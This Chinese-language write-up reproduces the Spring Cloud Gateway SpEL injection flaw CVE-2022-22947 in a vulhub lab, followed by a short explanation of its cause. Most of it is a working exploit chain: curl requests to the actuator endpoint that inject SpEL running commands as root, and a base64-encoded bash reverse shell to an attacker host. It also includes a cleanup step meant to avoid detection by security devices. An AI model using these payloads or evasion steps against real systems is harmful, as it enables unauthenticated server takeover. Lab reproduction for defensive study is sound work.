本文详细介绍了 Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947) 的原理分析与实战复现。该漏洞源于 Spring Cloud Gateway 在开启 Actuator 端点时,过滤器(Filter)参数处理逻辑存在缺陷。攻击者可以通过发送特制的 POST 请求,利用 SpEL(Spring Expression Language) 表达式注入,在目标服务器上实现未经身份验证的远程代码执行。 复现过程中,我们通过 Actuator 接口动态添加路由,并在路由定义中嵌入恶意的 SpEL 表达式。当网关刷新路由配置时,系统会自动解析并执行该表达式,从而触发命令执行。
漏洞基础信息
| 漏洞编号 | CVSS 评分 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2022-22947 | 10.0 | Spring Cloud Gateway 3.1.x < 3.1.1、3.0.x < 3.0.7、以及更早的不再维护的版本 | 远程代码执行 (RCE) |
漏洞复现
复现环境准备
使用vulhub快速搭建漏洞环境:
┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose # 安装Docker和docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ cd vulhub/spring/CVE-2022-22947
└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态
30edb836b199 vulhub/spring-cloud-gateway:3.1.0 "java -Djava.securit…" 9 minutes ago Up 9 minutes 0.0.0.0:5005->5005/tcp, :::5005->5005/tcp, 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2022-22947-spring-1
目标探测
端口扫描与服务识别
┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" target-IP
# 扫描结果
PORT STATE SERVICE VERSION
8080/tcp open http Cloudflare http proxy
|_http-title: Example Domain
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: cloudflare
MAC Address: 00:0C:29:B3:23:74 (VMware)
Spring Cloud Gateway 的响应头特征和 Cloudflare 的部分特征重合,且网关本身是反向代理组件,nmap 的指纹库会将其误识别为Cloudflare http proxy,并非真的有 Cloudflare 代理,也不影响漏洞利用。
探测网关路由端点
Spring Cloud Gateway 的 RCE 依赖于 /actuator/gateway 端点的暴露。使用 curl 探测该路径是否存在。
┌──(kali㉿kali)-[~]
└─$ curl -i http://target-IP:8080/actuator/gateway/routes
HTTP/1.1 200 OK
transfer-encoding: chunked
Content-Type: application/json
[{"predicate":"Methods: [GET]","route_id":"index","filters":[],"uri":"http://example.com:80","order":0}]
如果返回 200 OK 并包含 JSON 格式的路由列表,说明端点完全暴露,未授权访问漏洞存在。目前网关中已经存在一个名为 index 的默认路由,它会将流量转发到 example.com。
如果返回 401 Unauthorized,说明有认证保护。
如果返回 404 Not Found,说明端点未开启或路径被修改。
攻击过程
注入恶意路由执行命令
向靶机发送 POST 请求,创建一个 ID 为 hack 的新路由。在 filters 中嵌入 SpEL 表达式执行 id 命令。
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://target-IP:8080/actuator/gateway/routes/hack \
-H "Content-Type: application/json" \
-d '{
"id": "hack",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"id\").getInputStream()))}"
}
}],
"uri": "http://example.com"
}'
仅仅添加路由不会执行 SpEL,必须通过 refresh 端点强制 Gateway 重新加载配置。
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://target-IP:8080/actuator/gateway/refresh \
-H "Content-Type: application/json" \
-d '{}'
访问刚才创建的路由详情,查看 id 命令的执行结果。
┌──(kali㉿kali)-[~]
└─$ curl http://192.168.31.148:8080/actuator/gateway/routes/hack
{"predicate":"RouteDefinitionRouteLocator$$Lambda$1145/1157700961","route_id":"hack","filters":["[[AddResponseHeader Result = 'uid=0(root) gid=0(root) groups=0(root)\n'], order = 1]"],"uri":"http://example.com:80","order":0}
这个结果说明恶意路由已经生效,这证明了 Gateway 不仅解析了 SpEL 表达式,而且以 root 用户身份执行了系统命令 id。
反弹Shell
在攻击机上开启监听:
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
构造 Base64 编码的反弹命令,为了规避 Java exec() 对特殊字符解析的问题,先在 Kali 上生成编码:
┌──(kali㉿kali)-[~]
└─$ echo "bash -i >& /dev/tcp/attacker-IP/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK
发送反弹 Shell Payload ,修改第一步中的 exec 参数注入新路由:
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://target-IP:8080/actuator/gateway/routes/shell \
-H "Content-Type: application/json" \
-d '{
"id": "shell",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK | base64 -d | bash\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}'
刷新并触发:
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://target-IP:8080/actuator/gateway/refresh -H "Content-Type: application/json" -d '{}'

容器 id 与靶机vulhub拉起的相同,反弹成功。
清理现场
利用完成后,务必删除残留路由,防止被其他安全设备检测或被他人二次利用。
┌──(kali㉿kali)-[~]
└─$ curl -X DELETE http://target-IP:8080/actuator/gateway/routes/hack
└─$ curl -X DELETE http://target-IP:8080/actuator/gateway/routes/shell
└─$ curl -X POST http://target-IP:8080/actuator/gateway/refresh
漏洞核心原理
Actuator 网关端点的未授权访问
Spring Cloud Gateway 内置了名为 Actuator 的运维管理模块,它通过 /actuator/gateway/ 系列接口提供动态管理能力(如添加路由、查看状态)。 在生产环境下,这些敏感接口本应处于严密的身份认证保护下。然而,若运维配置不当(如:为了调试方便而未配置权限校验),就会导致这些管理接口处于未授权访问状态。攻击者无需任何账号密码,即可直接调用这些接口。
动态路由配置支持 SPEL 表达式
Gateway 设计上支持 “动态配置路由”(无需重启服务),开发者可通过 POST 请求调用 /actuator/gateway/routes/{id} 接口添加路由,且路由配置的 filters(过滤器)、predicates(断言)参数支持 SpEL(Spring 表达式语言)。SpEL 是一种功能强大的表达式语言,它使用 #{...} 的特殊格式。
SPEL 表达式无任何安全限制
漏洞的本质在于 Gateway 在解析这些 SpEL 表达式时,没有进行任何安全过滤或环境隔离。 SpEL 本身具备直接调用 Java 底层类库(如 java.lang.Runtime)的能力。由于缺乏“沙箱”限制,当 Gateway 解析执行被攻击者恶意构造的表达式时,它不会分辨这是一个简单的配置值还是危险的系统指令。最终,网关进程会以自身的系统权限,去执行表达式中潜伏的恶意代码,导致服务器被彻底控制(RCE)。